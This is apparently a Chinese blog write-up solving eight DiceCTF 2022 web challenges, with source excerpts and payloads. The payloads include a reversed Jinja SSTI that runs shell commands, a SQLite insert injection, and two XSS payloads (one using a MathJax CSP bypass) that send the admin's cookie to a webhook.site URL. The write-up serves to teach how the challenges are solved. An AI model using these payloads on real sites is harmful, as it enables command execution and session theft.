DiceCTF-2022-WP

  1. secure-page
  2. flag-viewer
  3. point
  4. reverser
  5. oeps
  6. inspect-me
  7. pastebin
  8. mk

一共十道题,只做出来8道,剩下两道完全找不到漏洞点,等大佬wp @_@ 。这比赛的题目顺序有点迷,并没有按照难度排列,做的时候有点过山车的感觉,不过总体体验还是不错的。

secure-page

直接看源码,只需要把cookie中的admin设为true即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@server.get('/')
async def root(request):
admin = request.cookies.get('admin', '')

headers = {}
if admin == '':
headers['set-cookie'] = 'admin=false'

if admin == 'true':
return (200, '''
<title>Secure Page</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Secure Page</h1>
%s
</div>
''' % os.environ.get('FLAG', 'flag is missing!'), headers)
else:
return (200, '''
<title>Secure Page</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Secure Page</h1>
Sorry, you must be the admin to view this content!
</div>
''', headers)

hope{signatures_signatures_signatures}

flag-viewer

从源码可以看到只需要访问/flag目录并把参数user设为admin即可。

1
2
3
4
5
6
7
8
9
@server.post('/flag')
async def flag(request):
data = await request.post()
user = data.get(' ', '')

if user != 'admin':
return (302, '/?message=Only the "admin" user can see the flag!')

return (302, f'/?message={os.environ.get("FLAG", "flag missing!")}')

hope{oops_client_side_validation_again}

point

源码给出来,用post发送json数据,只要恢复得到的结构体成员值为that_point即可,但是不能够含有what_point字段,因为json.Unmarshal不区分json字段的大小写,因此可以把键名what_point写成What_point来绕过检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
type importantStuff struct {
Whatpoint string `json:"what_point"`
}

func main() {
flag, err := os.ReadFile("flag.txt")
if err != nil {
panic(err)
}

http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
fmt.Fprint(w, "Hello, world")
return
case http.MethodPost:
body, err := io.ReadAll(r.Body)
fmt.Printf("%s", body)
if err != nil {
fmt.Fprintf(w, "1 Something went wrong")
return
}

if strings.Contains(string(body), "what_point") || strings.Contains(string(body), "\\") {
fmt.Fprintf(w, "2 Something went wrong")
return
}

var whatpoint importantStuff
err = json.Unmarshal(body, &whatpoint)
if err != nil {
fmt.Fprintf(w, "3 Something went wrong")
return
}

if whatpoint.Whatpoint == "that_point" {
fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
return
} else {
fmt.Fprintf(w, "4 Something went wrong")
return
}
default:
fmt.Fprint(w, "Method not allowed")
return
}
})

log.Fatal(http.ListenAndServe(":1234", nil))

}

hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}

reverser

这是一道ssti注入题,需要注意的是payload要取反,因为是python3所以需要找一下FileLoader,然后按照常规套路利用builtins中的函数调用系统命令读取flag即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.post('/')
def reverse():
result = '''
<link rel="stylesheet" href="style.css" />
<div class="container">
<h1>Text Reverser</h1>
Reverse any text... now as a web service!
<form method="POST">
<input type="text" name="text">
<input type="submit" value="Reverse">
</form>
<p>Output: %s</p>
</div>
'''
output = request.form.get('text', '')[::-1]
return render_template_string(result % output)

payload如下:

1
}})(daer.)'sl'(nepop.)'so'(]'__tropmi__'[]'__snitliub__'[__slabolg__.__tini__.]49[)(__sessalcbus__.__esab__.)'__ssal'+'c__'(__etubirttateg__.][{{
1
}})(daer.)'*f%20tac'(nepop.)'so'(]'__tropmi__'[]'__snitliub__'[__slabolg__.__tini__.]49[)(__sessalcbus__.__esab__.)'__ssal'+'c__'(__etubirttateg__.][{{

hope{cant_misuse_templates}

oeps

一开始看到execute的时候觉得完了,滴水不漏,定睛一看才发现原来里面用了单引号把占位符包起来了,那就起不到防止sql注入的效果,可以直接注。找了一圈发现基本上都有输入检查,只允许字母和数字输入,唯独一个地方没有检查那就是/submit目录下的submission参数,这里可以直接进行注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@server.post('/submit')
async def submit(request):
token = request.cookies.get('token', '')
logged_in = (
all(c in ALLOWED_CHARACTERS for c in token) and
len(connection.execute('''
select * from users where token = '%s';
''' % token).fetchall()) == 1
)

if not logged_in:
return (302, '/?error=Authentication error.')

data = await request.post()
submission = data.get('submission', '')
if submission == '':
return (302, '/?error=Submission cannot be empty.')

stripped = submission.replace(' ', '')
if stripped != stripped[::-1]:
return (302, '/?error=Submission must be a palindrome.')
connection.execute('''
insert into pending (user, sentence) values ('%s', '%s');
''' % (
token,
submission
))

return (302, '/')

与往常的不同,不再是select,而是insert语句。这里插入的是pending数据表,也就是我们访问根目录可以看到的数据表。因此可以将flag查询出来插入pending表中,再访问根目录查看。需要注意的是在python的sqlite中可以使用||进行字符拼接,这里将前面的字符闭合起来之后再将flag拼接上去即可:

1
flag:'||(select flag from flags));----;))sgalf morf galf tceles(||':galf

访问根目录查看flag:

hope{ecid_gnivlovni_semordnilap_fo_kniht_ton_dluoc}

inspect-me

这道题挺恶心的,F12开启开发者工具之后就会把表单后面的内容替换掉,然后不断循环刷新控制台。一开始只能获取到表单前面那部分的代码,发现他会检测窗口大小等一系列操作来判断是否开启开发者工具,所以一开始我的思路是用chromedriver来控制开启页面,然后用page_source来获取源码,但是发现不行因为chromedriver本来就是调用了开发者工具来实现的,会被检查出来。

!

经过仔细研究发现页面内容替换需要条件触发,而检测这些触发条件的是js代码,他们的作用范围只在本标签,那么标签的上一级他就管不到了。所以可以直接选中浏览器地址栏url然后按ctrl+u直接看源码。以下是表单后面的源码,实现的是对flag进行凯撒加密,偏移量为13。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<script>
(() => {
const scripts = document.querySelectorAll('script');
scripts.forEach((script) => script.remove());

const chr = (c) => c.charCodeAt(0);

const form = document.querySelector('form');
form.addEventListener('submit', (event) => {
event.preventDefault();
const input = document.querySelector('input[type="text"]');
const output = [];
for (const char of input.value.split('').map(chr)) {
if (chr('a') <= char && char <= chr('z')) {
output.push(chr('a') + ((char - chr('a') + 13) % 26));
} else if (chr('A') <= char && char <= chr('Z')) {
output.push(chr('A') + ((char - chr('A') + 13) % 26));
} else {
output.push(char);
}
}
const target = 'ubcr{pyvrag_fvqr_pyvpur}';
if (output.map((c) => String.fromCharCode(c)).join('') === target) {
document.querySelector('.content').textContent = 'Correct!';
} else {
input.removeAttribute('style');
input.offsetWidth;
input.style.animation = 'shake 0.25s';
}
});
})();
</script>

hope{client_side_cliche}

pastebin

服务端提供/new来给我们创建一个页面,随后会给出地址供访问,题目大概的思路就是利用/new生成带有xss代码的页面,然后把这个页面提交给admin-bot访问,admin-bot访问我们生成的页面时利用xss代码将cookie外带即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.post('/new', (req, res) => {
const paste = (req.body.paste ?? '').toString();

if (paste.length == 0) {
return res.redirect(`/flash?message=Paste cannot be empty!`);
}

if (paste.search(/<.*>/) !== -1) {
return res.redirect(`/flash?message=Illegal characters in paste!`);
}

const id = add(paste);
res.redirect(`/view/${id}`);
});

app.get('/view/:id', (req, res) => {
const id = req.params.id;
res.type('html');
res.end(`
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Paste</h1>
${pastes.get(id) ?? 'Paste does not exist!'}
</div>
`);
});

从上面的源码可以看到,写入的内容是会有检查的,不能够含有<>,这里需要xss绕过。我们可以使用iframe的半尖括号来进行绕过,然后在src中写入js代码实现cookie窃取,payload如下:

1
<iframe src= javascript:location.href="https://webhook.site/99f07c43-3dd0-402e-afc8-a654a2dc6983/?flag="+document.cookie <

再将如下链接提交给Admin Bot访问即可:

1
https://pastebin.mc.ax/view/54c293d08e3c57c75ddee9af984431c1

提交之后就可以在我们实现准备好的webhook这里查看flag。

hope{the_pastebin_was_irrelvant}

mk

这道题也是xss,不过他的限制比较严格,内容安全策略(CSP)如下,除了谷歌的验证码域名外,其他的都需要遵循同源策略,而且script不允许内联代码运行,这里需要绕过CSP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fastify.addHook('preHandler', async (req, res) => {
res.header('Content-Security-Policy', [
"default-src 'self'",
"base-uri 'self'",
"font-src 'self'",
"frame-ancestors 'none'",
"img-src 'none'",
"object-src 'none'",
"script-src 'self' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/",
"script-src-attr 'none'",
"style-src 'self' 'unsafe-inline'",
"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/"
].join(';'));

res.header('X-Content-Type-Options', 'nosniff');
});

可以注意到源码给出了Mathjax这个插件,这其实是一个数学公式的渲染插件,之前确实爆过xss攻击的漏洞,可以直接执行eval函数来进行RCE,但是这里给出的版本是2.7.9并不包含这个漏洞,这里就不能用。但是插件Mathjax允许通过<script type="text/x-mathjax-config"><script/>来进行参数设置,同时标签内除了根据它规定的格式设置参数之外还可以运行JavaScript代码,因此就可以利用它来绕过CSP执行JavaScript代码,从而走私cookie。

构造的页面payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script type="text/x-mathjax-config">
location.href=`https://webhook.site/99f07c43-3dd0-402e-afc8-a654a2dc6983/?${document.cookie}`;
</script>
<script type="text/javascript" src="/MathJax/MathJax.js">
</script>
</body>
</html>

将payload与其https://mk.mc.ax/render?content= 拼接后url编码,再发送给admin-bot访问,admin-bot加载页面后就会运行准备好的跳转代码,将cookie作为参数发送到事先准备好的webhook地址。

1
https%3A%2F%2Fmk.mc.ax%2Frender%3Fcontent%3D%3C!DOCTYPE%20html%3E%20%3Chtml%20lang%3D%22en%22%3E%20%3Chead%3E%20%20%20%20%20%3Cmeta%20charset%3D%22UTF-8%22%3E%20%20%20%20%20%3Cmeta%20http-equiv%3D%22X-UA-Compatible%22%20content%3D%22IE%3Dedge%22%3E%20%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1.0%22%3E%20%20%20%20%20%3Ctitle%3EDocument%3C%2Ftitle%3E%20%3C%2Fhead%3E%20%3Cbody%3E%20%20%20%20%20%3Cscript%20type%3D%22text%2Fx-mathjax-config%22%3E%20%20%20%20%20%20%20%20%20location.href%3D%60https%3A%2F%2Fwebhook.site%2F99f07c43-3dd0-402e-afc8-a654a2dc6983%2F%3F%24%7Bdocument.cookie%7D%60%3B%20%20%20%20%20%3C%2Fscript%3E%20%20%20%20%20%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22%2FMathJax%2FMathJax.js%22%3E%20%20%20%20%20%3C%2Fscript%3E%20%3C%2Fbody%3E%20%3C%2Fhtml%3E

然后我们就可以在webhook这里看到flag了。

hope{make_sure_to_check_your_dependencies}


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com